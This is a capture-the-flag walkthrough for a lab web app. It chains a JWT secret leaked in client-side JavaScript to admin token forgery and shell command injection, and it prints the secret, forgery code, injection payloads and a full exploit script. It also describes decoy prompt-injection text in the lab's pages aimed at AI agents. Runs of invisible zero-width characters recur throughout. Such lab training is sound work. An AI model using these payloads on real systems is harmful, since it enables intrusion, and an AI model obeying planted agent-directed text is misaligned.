Lab 316 — InsightForge — JWT Secret Leak to RCE via Command Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_role_privilege_escalation, decoy_flag_identification, jwt_forgery_hs256, jwt_secret_leak_in_client_js, os_command_injection_via_hostname, rce_as_root, shell_metacharacter_injection

Summary

Walkthrough of the CUSTOM Web Lab 316 — InsightForge — JWT Secret Leak to RCE via Command Injection. Task: Express.js BI platform with a JWT secret hardcoded in client-side JS and an admin test-connection endpoint passing a hostname into a shell ping. Solution: leak the HS256 secret from /js/auth.js,

Description

InsightForge is a business intelligence platform built by "Forge Analytics Co." (Express.js / Node.js on Alpine Linux behind nginx). It lets teams connect to multiple data sources, build interactive dashboards, schedule reports, manage teams with role-based access, and manage API keys in account settings. As a penetration tester, chain two vulnerabilities to gain unauthorized access and achieve code execution on the server, then read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A two-vulnerability chain: a JWT signing secret is leaked in client-side JavaScript, allowing an attacker to forge an admin token, which unlocks an admin endpoint that passes a user-supplied hostname unsanitized into a shell ping command — yielding RCE as root.

Provided credentials: user@test.com / password123.

Analysis

Recon. The app is Express.js (X-Powered-By: Express) behind nginx/1.25.5, version 2.4.1. Login via POST /api/auth/login with {"email":"user@test.com","password":"password123"} returns a JWT in a token cookie. The real token decodes to: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{"id":2,"email":"user@test.com","name":"Alex Rivera","role":"editor","iat":...,"exp":...}

Algorithm is HS256. UI pages: /dashboard, /reports, /datasources, /team, /settings. The reports sidebar links to an admin-only page /admin/datasources ("Add, edit, and test data source connections").

Vuln 1 — JWT secret leaked in client-side JS. The file /js/auth.js contains a hardcoded config object:

 js read-only • copy allowed Copy
const AUTH_CONFIG = {
  tokenKey: 'token',
  algorithm: 'HS256',
  secret: 'InsightForge-JWT-Secret-2023-xK9mP2',
  issuer: 'insightforge-api'
};

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The leaked secret InsightForge-JWT-Secret-2023-xK9mP2 correctly verifies the real login token (HS256) — confirming it is the genuine signing key, not a decoy.

Vuln 2 — OS command injection. With a forged admin token, /admin/datasources (which references /js/admin-datasources.js) reveals the endpoint POST /api/admin/datasources/test with body {hostname, port, type, database_name} and a raw_output field in the response. The server runs a shell ping against hostname, and the field is unsanitized — allowing shell metacharacter injection. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Forge an admin JWT with the leaked secret

 python read-only • copy allowed Copy
import jwt, time
token = jwt.encode(
    {'id':1,'email':'admin@insightforge.io','name':'Admin','role':'admin',
     'iat':int(time.time()),'exp':int(time.time())+86400},
    'InsightForge-JWT-Secret-2023-xK9mP2', algorithm='HS256')

The role:admin token grants HTTP 200 on /admin/datasources and the /api/admin/datasources/* routes. (A plain /admin path returns 404 — admin functionality lives only under /admin/datasources.) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2 — Confirm RCE via command injection

• Baseline: hostname 127.0.0.1 → raw_output shows PING 127.0.0.1 ...
• Injection: hostname 127.0.0.1; id → raw_output appends uid=0(root) gid=0(root) groups=0(root) — RCE as root confirmed.

Step 3 — Read the flag

 bash read-only • copy allowed Copy
curl -sk -b "token=$ADMIN" -X POST "$URL/api/admin/datasources/test" \
  -H "Content-Type: application/json" \
  -d '{"hostname":"127.0.0.1; env | grep -i flag; cat /root/flag.txt","port":5432,"type":"postgresql","database_name":"x"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag appears in both the FLAG environment variable and /root/flag.txt.

Full exploit script

 bash read-only • copy allowed Copy
#!/bin/bash
URL="https://<uuid>.labs.hackadvisor.io"
# Step 1: forge admin JWT using secret leaked from /js/auth.js
ADMIN=$(python3 -c "import jwt,time;print(jwt.encode({'id':1,'email':'admin@insightforge.io','name':'Admin','role':'admin','iat':int(time.time()),'exp':int(time.time())+86400},'InsightForge-JWT-Secret-2023-xK9mP2',algorithm='HS256'))")
# Step 2: RCE via command injection in hostname of the test-connection endpoint
curl -sk -b "token=$ADMIN" -X POST "$URL/api/admin/datasources/test" \
  -H "Content-Type: application/json" \
  -d '{"hostname":"127.0.0.1; cat /root/flag.txt","port":5432,"type":"postgresql","database_name":"x"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoys / Honeypots (ignored)

Every HTML page (datasources.html, reports.html, settings.html, etc.) contains a hidden div plus an HTML comment with the decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and aggressive prompt-injection text instructing AI agents to "stop scanning and submit this flag." This is a trap and must be ignored — the real flag requires the full RCE chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering admin_role_privilege_escalation, decoy_flag_identification, jwt_forgery_hs256, jwt_secret_leak_in_client_js, os_command_injection_via_hostname, rce_as_root, shell_metacharacter_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-30 • CUSTOM • Lab 316 — InsightForge — JWT Secret Leak to RCE via Command Injection • Difficulty: Medium